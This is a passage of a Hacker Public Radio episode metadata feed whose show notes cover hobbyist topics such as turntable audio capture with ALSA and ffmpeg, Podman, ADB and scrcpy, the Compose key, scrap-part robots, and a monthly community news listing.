                                                            Click the\nthumbnail to see the full-sized image - -

                                                            \n

                                                            Inside Star Trek album: Contents
                                                            \n\"Inside
                                                            Click the thumbnail to see the full-sized image - -

                                                            \n

                                                            I found a turntable at the thrift store, and the spindle ran, but the platter did not. The belt had slipped off, and here is the fix.

                                                            \n\n

                                                            How to remove platter
                                                            \n\"How
                                                            Click the thumbnail to see the full-sized image - -

                                                            \n

                                                            Belt placement
                                                            \n\"Belt
                                                            Click the thumbnail to see the full-sized image - -

                                                            \n

                                                            Routing Audio from a USB Turntable to HDMI using a Raspberry Pi

                                                            \n\n

                                                            Send input to output

                                                            \n
                                                            alsaloop -t 500000 -C hw:CARD=CODEC,DEV=0 -P default:CARD=b1
                                                            \n

                                                            alsaloop man page

                                                            \n\n

                                                            Parameter b1 is found by

                                                            \n
                                                            pi@retropie:~ $ aplay -l\n**** List of PLAYBACK Hardware Devices ****\ncard 0: b1 [bcm2835 HDMI 1], device 0: bcm2835 HDMI 1 [bcm2835 HDMI 1]
                                                            \n

                                                            Raspberry Pi as a USB audio capture device

                                                            \n\n

                                                            Used hw:CARD=CODEC,DEV=0 derived from 'arecord -L'

                                                            \n
                                                            hw:CARD=CODEC,DEV=0\nUSB Audio CODEC, USB Audio\nDirect hardware device without any conversions
                                                            \n

                                                            arecord man page

                                                            \n\n
                                                               -D, --device=NAME\n    Select PCM by name\n    -V, --vumeter=TYPE\n    Specifies the VU-meter type, either stereo or mono. The stereo VU-meter is available only for 2-channel stereo samples with interleaved format.\n    -c, --channels=#\n    The number of channels. The default is one channel. Valid values are 1 through 32.\n    -f --format=FORMAT\n    Sample format\n    Recognized sample formats are: S8 U8 S16_LE S16_BE U16_LE U16_BE S24_LE S24_BE U24_LE U24_BE S32_LE S32_BE U32_LE U32_BE FLOAT_LE FLOAT_BE FLOAT64_LE FLOAT64_BE IEC958_SUBFRAME_LE IEC958_SUBFRAME_BE MU_LAW A_LAW IMA_ADPCM MPEG GSM SPECIAL S24_3LE S24_3BE U24_3LE U24_3BE S20_3LE S20_3BE U20_3LE U20_3BE S18_3LE S18_3BE U18_3LE\n    Some of these may not be available on selected hardware\n    The available format shortcuts are:\n\n    -f cd (16 bit little endian, 44100, stereo) [-f S16_LE -c2 -r44100]\n    -f cdr (16 bit big endian, 44100, stereo) [-f S16_BE -c2 -f44100]\n    -f dat (16 bit little endian, 48000, stereo) [-f S16_LE -c2 -r48000]
                                                            \n

                                                            Recording to FLAC

                                                            \n\n

                                                            How can one record mic audio straight to a FLAC file?

                                                            \n
                                                            ffmpeg -f alsa -ar 48000 -ac 1 -i hw:0 testfile.flac
                                                            \n

                                                            Took out the \"-ac 1\", which downmixed the input to mono

                                                            \n

                                                            Change hw:0 to hw:2 based on

                                                            \n
                                                            pi@retropie:~/vinyl $ arecord -l\n**** List of CAPTURE Hardware Devices ****\ncard 2: USB20 [AV TO USB2.0], device 0: USB Audio [USB Audio]\nSubdevices: 1/1\nSubdevice #0: subdevice #0\n\nffmpeg -f alsa -ar 48000 -i hw:2 testfile_stereo.flac
                                                            \n

                                                            FFmpeg Audio Channel Manipulation

                                                            \n\n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Vinyl, album, Vinyl album, record album, aplay, arecord, alsaloop, ffmpeg,retro, USB turntable","version":0,"downloads":0,"valid":1}, {"id":3508,"date":"2022-01-12","title":"Differences between C# and Haskell","duration":1712,"summary":"Tuula talks about some of the differences between C# and Haskell","notes":"

                                                            This episode covers some of the differences between C# and Haskell. I'm probably going to omit lot of things accidentally.

                                                            \n
                                                              \n
                                                            • Origin: practical language for solving real world problems vs. programming language research
                                                            • \n
                                                            • Main paradigm: object oriented vs purely functional
                                                            • \n
                                                            • Changing data: mutability vs. immutability
                                                            • \n
                                                            • Data structures: inheritance vs. composition
                                                            • \n
                                                            • Execution model: strict vs. nonstrict
                                                            • \n
                                                            • Side effects: anywhere vs. specifically marked areas in the code
                                                            • \n
                                                            \n

                                                            Thanks for listening, if you have any questions or comments, you can reach me via email or in fediverse, where I'm Tuula@tech.lgbt. Or even better, you could record your own hacker public radio episode.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, c#, programming","version":0,"downloads":0,"valid":1}, {"id":3509,"date":"2022-01-13","title":"Linux Inlaws S01E46: The Matrix Project (Without Neo)","duration":4315,"summary":"The Matrix Project Without Neo","notes":"

                                                            In this episode, the Inlaws are hosting Neil Johnson, VP of Engineering at Element. But this is\nnot just about this popular Matrix graphical user interface but rather about this federated communication\nnetwork dubbed as the next big thing after Mastodon and Discord, soon to take over the world (pretty\nmuch like the Inlaws themselves - it's gonna get crowded... :-).

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Matrix, Element, federated social network, peer-to-peer communication","version":0,"downloads":0,"valid":1}, {"id":3510,"date":"2022-01-14","title":"Syntax, Switches, and Help","duration":1215,"summary":"We continue our look the old warhorse, DOS. This time it is Syntax, Switches, and Help.","notes":"

                                                            Since DOS is a command line type of operating system, it is really important that you understand the syntax of commands. The good news is that the system will do what you tell it to do. But the bad news is that it will do what you tell it to do. You have to tell it in the precisely correct way, and that means Syntax. And with a number of commands you can modify them using Switches. And where do you learn all about Syntax and Switches? Why, in the HELP system, of course!

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, syntax, switches, help","version":0,"downloads":0,"valid":1}, {"id":3511,"date":"2022-01-17","title":"Podman like Vagrant","duration":1160,"summary":"This is how I use Podman on the desktop","notes":"

                                                            I used to use Vagrant to spin up minimal virtual machines when I needed to test code on a different distro than what I ran. Lately I've switched to Podman.

                                                            \n\n

                                                            Install Podman with your distribution's package manager.

                                                            \n\n

                                                            Configure it:

                                                            \n\n
                                                            \n$ sudo --add-subuids 200000-265536 \\\n--add-subgids 200000-265536 \\\n$USER\n
                                                            \n\n

                                                            Create a directory to share data between your container and your localhost:

                                                            \n\n
                                                            \n$ mkdir data\n
                                                            \n\n

                                                            Run a container, with your ./data directory mapped to /storage in the container:

                                                            \n\n
                                                            \n$ podman run -it --volume ./data:/storage:Z busybox\n
                                                            \n\n\n","hostid":78,"series":8,"explicit":0,"license":"CC-BY-SA","tags":"containers, podman, docker, vagrant","version":0,"downloads":0,"valid":1}, {"id":3512,"date":"2022-01-18","title":"Auld Acquaintance","duration":659,"summary":"flappin gums aboot auld hardware and how I use it.","notes":"

                                                            Toshiba Satellite L455-S5000
                                                            \nhttps://www.ifixit.com/Device/Toshiba_Satellite_L455-S5975

                                                            \n

                                                            The script!

                                                            \n
                                                            #!/bin/bash\n\n# target dir is ~/Photos/YYYY-MM-DD_Hm\ntargetDir="/home/$USER/Photos/$(date +"%F_%H%M")"\n\n# create the dir\nmkdir $targetDir\n\n# cd to dir\ncd $targetDir\n\n# kill all gphoto stuff\npkill -f gphoto2\n\n# get the files\ngphoto2 --get-all-files\n\n# delete all files on camera recursively\ngphoto2 -DR
                                                            \n","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"auld hardware, photography","version":0,"downloads":0,"valid":1}, {"id":3513,"date":"2022-01-19","title":"HB9HNT and PA7KEN on SOTA, Summits on the Air","duration":2595,"summary":"Summits on the Air is the combination of mountain climbing and amateur radio","notes":"

                                                            Links

                                                            \n

                                                            You'll find further information under the following links:

                                                            \n\n","hostid":288,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"ham, ham radio, hamradio, sota","version":0,"downloads":0,"valid":1}, {"id":3514,"date":"2022-01-20","title":"Hacking Stories: Soft Drink","duration":1270,"summary":"I talk about old pentest stories","notes":"

                                                            Mass unlock/powershell

                                                            \n

                                                            Link to NOTES.ps1

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacking stories","version":0,"downloads":0,"valid":1}, {"id":3515,"date":"2022-01-21","title":"ADB and scrcpy","duration":565,"summary":"Some useful tools for working with Android Devices","notes":"

                                                            Android Debugging

                                                            \n\n

                                                            Install ADB Tools

                                                            \n

                                                            There are multiple guides online as to how to install, but I found dnf install android-tools.x86_64 adb-enhanced.noarch the easiest. Similar commands are available for the other distros. Use your package manager to search for adb.

                                                            \n\n

                                                            Enable Developer options

                                                            \n

                                                            Go to Settings. Usually via the pulldown menu from the top twice, and click the cog icon. Search for 'Build Number', it's usually in Click on 'About Phone' Click on 'Build Number' seven times.

                                                            \n

                                                            Go back and then search for 'Developer options' it's usually in the System section

                                                            \n

                                                            You'll need to turn on two features 'Android Debugging' and 'ADB over network'

                                                            \n

                                                            While we are at it, go back and then search for 'IP Address' it's usually in the About phone section. You should see a IPv4 address eg: 192.168.1.100. Make note of the IP address as we'll use it later.

                                                            \n

                                                            Using ADB

                                                            \n

                                                            To get help use the command adb help

                                                            \n
                                                              \n
                                                            • global options: Tell you how to connect to the phone
                                                            • \n
                                                            • general commands: Shows your devices, and gives help
                                                            • \n
                                                            • networking: Allows you to connect over the network but also to port forward and reverse traffic
                                                            • \n
                                                            • file transfer: The only reliable way to get files to and from your device.
                                                            • \n
                                                            • internal debugging: Shows how to control the server
                                                            • \n
                                                            \n

                                                            USB

                                                            \n

                                                            Plug your phone using a usb cable. There will be a notification and a popup to allow the connection.

                                                            \n

                                                            Run adb shell and all going well you should see your phone. Commands like ls, cd, and find work well. For example find /storage/self/primary/.

                                                            \n

                                                            Network

                                                            \n

                                                            Unfortunately if you unplug your phone you no longer have a connection to it, but you can enable network access via tcp. Leave your phone connected to USB and then tell it to use a TCP/IP connection with the command adb tcpip 5555.

                                                            \n

                                                            Then connect to the phone using the phones IP address and port 5555, adb connect 192.168.1.100:5555. It should reply with a connected to message

                                                            \n
                                                            $ adb connect 192.168.1.100:5555\nconnected to 192.168.1.100:5555
                                                            \n

                                                            Now commands like adb shell should allow you to access the phone even if it's not physically connected via usb.

                                                            \n

                                                            Multiple devices

                                                            \n

                                                            Got multiple devices then you can connect them all in the same way as shown above. The only issue is you need to tell adb which one you want to address.

                                                            \n

                                                            The first thing you need to do is list the devices

                                                            \n
                                                            $ adb devices -l\nList of devices attached\n192.168.1.100:5555   device product:XXXX model:XXXX device:XXXX transport_id:9\n192.168.1.101:5555   device product:YYYY:ZZZZ device:ZZZZ transport_id:14
                                                            \n

                                                            The important bit is the transport_id at the end. You can then use the adb command as normal but specifying the -t option

                                                            \n
                                                            -t: allocate a pty if on a tty (-tt: force pty allocation)
                                                            \n

                                                            So for example adb -t 14 shell would connect to phone YYYY

                                                            \n

                                                            So that's it for remote control from the shell, but what if you want to see and interact with the screen itself ?

                                                            \n

                                                            Remote screen sharing with scrcpy

                                                            \n

                                                            From Wikipedia

                                                            \n

                                                            scrcpy is a free and open-source screen mirroring application that allows control of an Android device from a Windows, macOS, or Linux desktop computer. The software is currently developed by Genymobile, which also developed Genymotion, an Android emulator.

                                                            \n

                                                            The source code is available on github. It's available via apt install scrcpy on Ubuntu. In Fedora you'll need to enable it from the copr repo.

                                                            \n
                                                            dnf copr enable zeno/scrcpy\ndnf install scrcpy
                                                            \n

                                                            With only one phone connected you can just type scrcpy and the screen will appear. Remember right click is power, and the mouse is your finger ;-).

                                                            \n

                                                            If you have multiple devices connected you can connect using scrcpy --tcpip=192.168.1.101:5555

                                                            \n

                                                            scrcpy is a wonderful tool that deserves a show in itself, but in short it lets you interact with your phone as if it was a VNC/Remote Desktop session. You can copy text from the phone as well.

                                                            \n

                                                            It allows for control of the screen, as well as screen recording.

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"adb,scrcpy,android Debug Bridge","version":0,"downloads":0,"valid":1}, {"id":3516,"date":"2022-01-24","title":"Rant about RX","duration":1303,"summary":"This is a rant mostly about prescriptions and health care","notes":"

                                                            It's a rant mostly about prescriptions and health care

                                                            \n","hostid":36,"series":100,"explicit":1,"license":"CC-BY-SA","tags":"rant","version":0,"downloads":0,"valid":1}, {"id":3517,"date":"2022-01-25","title":"Hp stream laptop with Lubuntu 20.04","duration":2257,"summary":"Laptop update","notes":"

                                                            Just a simple check of an old laptop with update

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Hp stream,Lubuntu,geko,Linux,pine64","version":0,"downloads":0,"valid":1}, {"id":3518,"date":"2022-01-26","title":"Linux Inlaws S01E47: BigBlueButton and NAT","duration":3272,"summary":"Our two OAPs discuss running conferencing systems like BigBlueButton behind NAT","notes":"

                                                            In this episode of your favourite FLOSS podcast our two OAPs discuss the challenges of running\nconferencing systems like BigBlueButton behind a network address translation\n(NAT) configuration, something that the Inlaws have been struggeling (?) with\nfor quite some time but now have arrived a solution which might just work :-).\nIf you face similar challenges or just want to refresh your knowledge about\nintricate network architectures never mind their pitfalls, stay tuned. All\nwill be revealed (hopefully :-). But beware: This show is highly technical and\ngeek-only. Which may come in handy if you're not technical but suffer from\ninsomnia or similar sleep disorders - this is your show!

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"BigBlueButton, Network Address Translation, TURN, STUN, WebRTC, Parallels, Vulcan's Hammer, The Ice ","version":0,"downloads":0,"valid":1}, {"id":3519,"date":"2022-01-27","title":"Rust 101: Episode 2 - Rolling With the Errors","duration":3234,"summary":"In this episode, BlacKernel helps you construct a simple dice rolling application in rust.","notes":"

                                                            GitLab Repository: https://gitlab.com/BlacKernel/rust-roller

                                                            \n

                                                            Rust-Roller Dice Roller Tutorial Application

                                                            \n

                                                            This is a simple dice rolling application that follows along with my Hacker Public Radio course on learning the rust programming language.

                                                            \n

                                                            I will attempt to make the commits follow the episodes pretty closely with one commit after every episode with the episode number in the commit message.

                                                            \n

                                                            Usage:

                                                            \n

                                                            rust-roller <number-of-dice> <number-of-sides-per-die>

                                                            \n

                                                            Output:

                                                            \n

                                                            Dice: <value-of-die-1> <value-of-die-2> ...

                                                            \n

                                                            Total: <sum-of-all-dice-values>

                                                            \n
                                                            \n

                                                            List of Episodes

                                                            \n

                                                            Rust 101: Episode 0 - What in Tarnishing?

                                                            \n

                                                            Rust 101: Episode 1 - Hello, World!

                                                            \n

                                                            Rust 101: Episode 2 - Rolling With the Errors

                                                            \n
                                                            \n

                                                            Contact Info:

                                                            \n

                                                            at blackernel at nixnet dot social

                                                            \n

                                                            izzyleibowitz at pm dot me

                                                            \n","hostid":396,"series":25,"explicit":1,"license":"CC-BY-SA","tags":"rust, programming, dice, learning","version":0,"downloads":0,"valid":1}, {"id":3520,"date":"2022-01-28","title":"Inversion Layer Modes","duration":1064,"summary":"More on Layer Modes in GIMP with the Inversion Modes","notes":"

                                                            Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the Inversion Modes, which in various ways invert the lightness and the color values of the component layers. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layer Modes, Blending Modes, Inversion Modes","version":0,"downloads":0,"valid":1}, {"id":3521,"date":"2022-01-31","title":"Upgrades to Acer Aspire 5 Slim","duration":344,"summary":"Upgrades to Aspire 5 Slim and Specs","notes":"

                                                            Upgrades to Aspire 5 Slim A515-43-R19L

                                                            \n

                                                            Replacement for the Acer Aspire 5750

                                                            \n

                                                            Aspire A515-43 How to Install an Additional Hard Drive
                                                            \nhttps://www.youtube.com/watch?v=XiadRhJ70Rs

                                                            \n

                                                            Specs

                                                            \n
                                                            {\n CPU: AMD Ryzen 3 3200U\n    GPU: AMD Radeon RX Vega 3\n    Display: 15.6”, Full HD (1920 x 1080), IPS\n    Storage: 128GB SSD, NMVE\n    RAM: 4GB DDR4, upgradeable to 32Gb\n    Weight: 1.90 kg (4.2 lbs)\n Ports and connectivity\n    2x USB Type-A 2.0\n    1x USB Type-A 3.2 Gen 1 (5 Gbps)\n    HDMI\n}
                                                            \n

                                                            Why?

                                                            \n
                                                              \n
                                                            • The system would randomly kick me out, back to the login screen.
                                                            • \n
                                                            • This was due to low RAM (4Gb) and high RAM usage from Firefox
                                                            • \n
                                                            \n

                                                            What?

                                                            \n
                                                              \n
                                                            • RAM: 16Gb DDR4
                                                            • \n
                                                            • HD: 500Gb spinning drive
                                                            • \n
                                                            \n

                                                            Other uses for the upgrade

                                                            \n
                                                              \n
                                                            • Room for Virtual Machines
                                                            • \n
                                                            \n

                                                            Future upgrade

                                                            \n
                                                              \n
                                                            • SSD
                                                            • \n
                                                            \n

                                                            Screw locations
                                                            \n\"Screw
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Inside the laptop
                                                            \n\"Inside
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Power/Battery plug location
                                                            \n\"Power/Battery
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Legend for inside the laptop
                                                            \n\"Legend
                                                            Click the thumbnail to see the full-sized image

                                                            \n","hostid":318,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"laptop, hardware, hardware upgrades, RAM, hard drive","version":0,"downloads":0,"valid":1}, {"id":3522,"date":"2022-02-01","title":"Set up your Robot Building Lab and build a $0 Robot Platform","duration":1580,"summary":"Ep 1 of Robot Warlords of the Apocalypse, build a free robot platform/crash buggy from old printers ","notes":"

                                                            be the assimilator not the assimilated

                                                            \n

                                                            Setting up your robot building lab and building your first platform/ crash buggy.

                                                            \n

                                                            Getting started

                                                            \n
                                                              \n
                                                            1. stuff to buy:
                                                              \n\n
                                                                \n
                                                              • order Arduino Uno or kit (recommended)
                                                                \nKit is highly recommended because you can work through projects for the various sensors and relays and gain experience using sensors. This makes it easier to integrate sensors into your robot, enabling it to more effectively interact with it's environment. Kit should come with a case, booklet, and have links to the code involved.
                                                              • \n
                                                              • order extra Arduinos (for when you blow up the first one)
                                                              • \n
                                                              • small machine screws of various lengths with nuts and washers
                                                              • \n
                                                              • 18650 4 cell battery compartment
                                                              • \n
                                                              • 2 18650 1 cell compartments*
                                                              • \n
                                                              • 18650 chargers (wavgat) - these plug into a usb device
                                                              • \n
                                                              • solder/flux/solder sucker (tree sap)
                                                              • \n
                                                              • perfboard
                                                              • \n
                                                              • extra dupont wires (male to male)
                                                              • \n
                                                              • extra resistors
                                                              • \n
                                                              • optional\n
                                                                  \n
                                                                • ultrasonic sensors (or hack out of something)
                                                                • \n
                                                                • mp3 module
                                                                • \n
                                                              • \n
                                                              • L298N h-bridge modules
                                                              • \n
                                                            2. \n
                                                            3. get tools and acc:\n
                                                                \n
                                                              • solder station
                                                              • \n
                                                              • computer with internet (raspberry pi works too) - should have listened...
                                                              • \n
                                                              • adruino.cc download and install arduino IDE
                                                              • \n
                                                              • various screwdrivers, pliers, straight airplane snips, drill with assorted bits. hacksaw, ruler, soldering station, multimeter,
                                                              • \n
                                                              • parts drawers for organizing small parts,
                                                              • \n
                                                              • several rubbermaid bins or cardboard boxes for cct boards, ABS pieces, etc.
                                                              • \n
                                                            4. \n
                                                            5. Collect and disassemble post apocalyptic scraps:\n
                                                                \n
                                                              • safety note: Be careful when disassembling; use pliers rather than your fingers as much as possible. Printers and other products can sometimes be tricky to take apart. There may not be any visible screws to remove. The case cover may just snap into place and sometimes it feels like you are going to break the part before it unsnaps. Be aware that the ABS can snap if you force it past its breaking point, it is strong but when it breaks it can have sharp edges. Be especially careful when taking apart laptop batteries. Try not to short any circuits, and watch out because the metal strips that connect the 18650 cells are very sharp. Use pliers and metal cutters and remember not to create any circuits with your metal tools!
                                                              • \n
                                                            6. \n
                                                            \n

                                                            Ingredients

                                                            \n
                                                              \n
                                                            • Printers are a great source of mechanical and chassis parts, including motors. The best are the ones with scanners built-in, which means an extra stepper motor.

                                                              \n
                                                                \n
                                                              • motors A mid sized printer will usually have two electric motors of the same size along with a few other smaller motors and stepper motors. Have two identical printers and you will have the 4 identical motors needed. It is OK to have 2 smaller and 2 larger motors and put one pair in front and one pair in back.
                                                              • \n
                                                              • steel rods, wheels with rubber tires, gears, specialty steel plates, reed switches, rotary encoders, ir switches
                                                              • \n
                                                              • ABS parts including a power supply cover that can hold Arduino.
                                                              • \n
                                                              • Glass panel can be repurposed as solar panel with cheap Chinese solar cells.
                                                              • \n
                                                            • \n
                                                            • UPS - for relays and opto isolators

                                                            • \n
                                                            • TVs - wire, speakers, optoisolators, lots of transistors and other components in older tvs.

                                                            • \n
                                                            • laptops, power tools, cell phones - lithium ion batteries

                                                            • \n
                                                            • books: libgen.is

                                                              \n
                                                            • \n
                                                            \n

                                                            Example of useful parts
                                                            \n\"Example
                                                            Click the thumbnail to see the full-sized image

                                                            \n","hostid":401,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"beam,righttorepair,robots,mechatronics,apocalypse","version":0,"downloads":0,"valid":1}, {"id":3523,"date":"2022-02-02","title":"The Compose key","duration":406,"summary":"What is the compose key, and how to set it up on X, GNOME and Windows.","notes":"

                                                            The Compose key allows you to input any character or sequence of characters regardless what keyboard layout you use, by typing the Compose key followed by a sequence of other keys. To use it, you must activate it in your system and choose what key you want to serve as the Compose key.

                                                            \n

                                                            If on Windows, we don't judge, we understand it's because, like me, you have no choice, and that's OK, one day we'll all get to live the dream, until then we'll just make do... WinCompose enables the compose key on that wretched environment. It comes with a ton of additional sequences, plus a fancy GUI for creating your own.

                                                            \n

                                                            If you use X, I suggest looking at the ArchLinux Wiki: https://wiki.archlinux.org/title/Xorg/Keyboard_configuration#Configuring_compose_key

                                                            \n

                                                            If you are a GNOME user, install GNOME Tweaks to activate the Compose key.

                                                            \n

                                                            $HOME/.XCompose

                                                            \n
                                                            include "%L"\n<Multi_key> <Multi_key> <braceleft> : "&#123;"\n<Multi_key> <Multi_key> <braceright> : "&#125;"\n<Multi_key> <Multi_key> <t> <f> : "(╯°□°)╯︵ ┻━┻"\n<Multi_key> <C> <C> <C> <P> : "☭"\n
                                                            \n

                                                            Note that that last one actually comes with X by default. In ArchLinux, all the default sequences can be found in /usr/share/X11/locale/<your-locale>/Compose. Also good to find out what to call your keys when writing your own sequences.

                                                            \n

                                                            /etc/X11/xorg.conf.d/00-keyboard.conf is the file that makes the Compose key happen in X.

                                                            \n
                                                            Section "InputClass"\n    Identifier "system-keyoard"\n    MatchIsKeyboard "on"\n    Option "XkbLayout" "us"\n    Option "XkbModel" "acer_laptop"\n    Option "XkbOptions" "compose:ralt,ctrl:nocaps"\nEndSection\n
                                                            \n

                                                            Note that it is not recommended to edit the file above, but use localectl to edit it. I don't know why that is. To learn more about that, and all the many options available, start with https://wiki.archlinux.org/title/Xorg/Keyboard_configuration#Using_localectl

                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Xorg,X11,compose,composekey","version":0,"downloads":0,"valid":1}, {"id":3524,"date":"2022-02-03","title":"Wheels Addendum - How to Reliably Attach Wheels to PAR Robot Platform","duration":393,"summary":"The most difficult part of Post Apocalyptic Robotics - how to keep the wheels on","notes":"

                                                            https://hackerpublicradio.org/eps.php?id=3522

                                                            \n

                                                            Video is already uploaded https://www.bitchute.com/video/HyT5Yz5bhjfS/

                                                            \n

                                                            Picture 1
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture 2
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture 3
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture 4
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture 5
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture 6
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture 7
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture 8
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture 9
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture 10
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture 11
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Picture 12
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n","hostid":401,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"beam,righttorepair,robots,mechatronics,apocalypse","version":0,"downloads":0,"valid":1}, {"id":3525,"date":"2022-02-04","title":"Battling with English - part 4","duration":920,"summary":"Some confusion with English plurals; strange language changes","notes":"

                                                            Confusing plurals

                                                            \n

                                                            In this episode, the fourth of this series, I’m looking at some words that have singular and plural forms that are very different. These lead to a lot of confusion as we’ll see.

                                                            \n

                                                            I also want to look at the way that English is evolving in some very strange and apparently senseless ways!

                                                            \n

                                                            Personal note: I notice I started preparing this show in 2019; unfortunately, COVID messed up my productivity for the next two years, but I hope I can now begin to be productive again!

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed by following the full notes link.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • Plural of thesis:\n
                                                                \n
                                                              • Grammar Monster\n
                                                                  \n
                                                                • This link has some good advice for dealing with weird plurals, though some you just have to remember, there are no rules!
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Irregular plurals which end with \"ae\" (or \"æ\"):\n
                                                                \n
                                                              • Wiktionary\n
                                                                  \n
                                                                • This is a list of these plurals, 159 of them at the time of writing. Many of these are obsolete however.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n\n\n\n","hostid":225,"series":120,"explicit":1,"license":"CC-BY-SA","tags":"grammar,spelling,plurals,word misuse,English,language evolution","version":0,"downloads":0,"valid":1}, {"id":3526,"date":"2022-02-07","title":"HPR Community News for January 2022","duration":2626,"summary":"HPR Volunteers talk about shows released and comments posted in January 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3501Mon2022-01-03HPR Community News for December 2021HPR Volunteers
                                                            3502Tue2022-01-04New year Greetings and a short review of my new Juno PCTony Hughes AKA TonyH1212
                                                            3503Wed2022-01-05Configuring MumbleKen Fallon
                                                            3504Thu2022-01-06James Webb Space TelescopeDave Morriss
                                                            3505Fri2022-01-07A DX with Hotel Bravo 9 Hotel November Tangobeni
                                                            3506Mon2022-01-10HPR CONTEST 2022 01operat0r
                                                            3507Tue2022-01-11USB Turntable fix and sound journeyArcher72
                                                            3508Wed2022-01-12Differences between C# and HaskellTuula
                                                            3509Thu2022-01-13Linux Inlaws S01E46: The Matrix Project (Without Neo)monochromec
                                                            3510Fri2022-01-14Syntax, Switches, and HelpAhuka
                                                            3511Mon2022-01-17Podman like Vagrantklaatu
                                                            3512Tue2022-01-18Auld AcquaintanceJezra
                                                            3513Wed2022-01-19HB9HNT and PA7KEN on SOTA, Summits on the Airbeni
                                                            3514Thu2022-01-20Hacking Stories: Soft Drinkoperat0r
                                                            3515Fri2022-01-21ADB and scrcpyKen Fallon
                                                            3516Mon2022-01-24Rant about RXoperat0r
                                                            3517Tue2022-01-25Hp stream laptop with Lubuntu 20.04JWP
                                                            3518Wed2022-01-26Linux Inlaws S01E47: BigBlueButton and NATmonochromec
                                                            3519Thu2022-01-27Rust 101: Episode 2 - Rolling With the ErrorsBlacKernel
                                                            3520Fri2022-01-28Inversion Layer ModesAhuka
                                                            3521Mon2022-01-31Upgrades to Acer Aspire 5 SlimArcher72
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 9 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 4 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3322\n(2021-04-27) \"Tune system performance with tuned\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nWindigo on 2022-01-21:\n\"Lost udev episode\"\n

                                                                I was surprised to hear you say you've never done an episode on udev, because I distinctly remember that episode! You were discussing creating your own udev rules to automatically run tasks upon inserting a USB drive.
                                                                \n
                                                                \nIt may be that you've never done an episode on HPR about it; I can't find it for the life of me.
                                                                \n
                                                                \nEither way, thank you - as always - for the excellent episode. :)\n


                                                              \n
                                                            • hpr3485\n(2021-12-10) \"50 years since the 1st Edition of Unix was published\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nwynaut on 2022-01-07:\n\"thanks great show\"\n

                                                                agree with prev comment, listener who just turned 51 :)\n


                                                              \n
                                                            • hpr3496\n(2021-12-27) \"How I record HPR Episodes\"\nby norrist.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nReto on 2022-01-09:\n\"a good idea\"\n

                                                                Hi,
                                                                \nThank you for this program and the introduction as a podcast.
                                                                \n
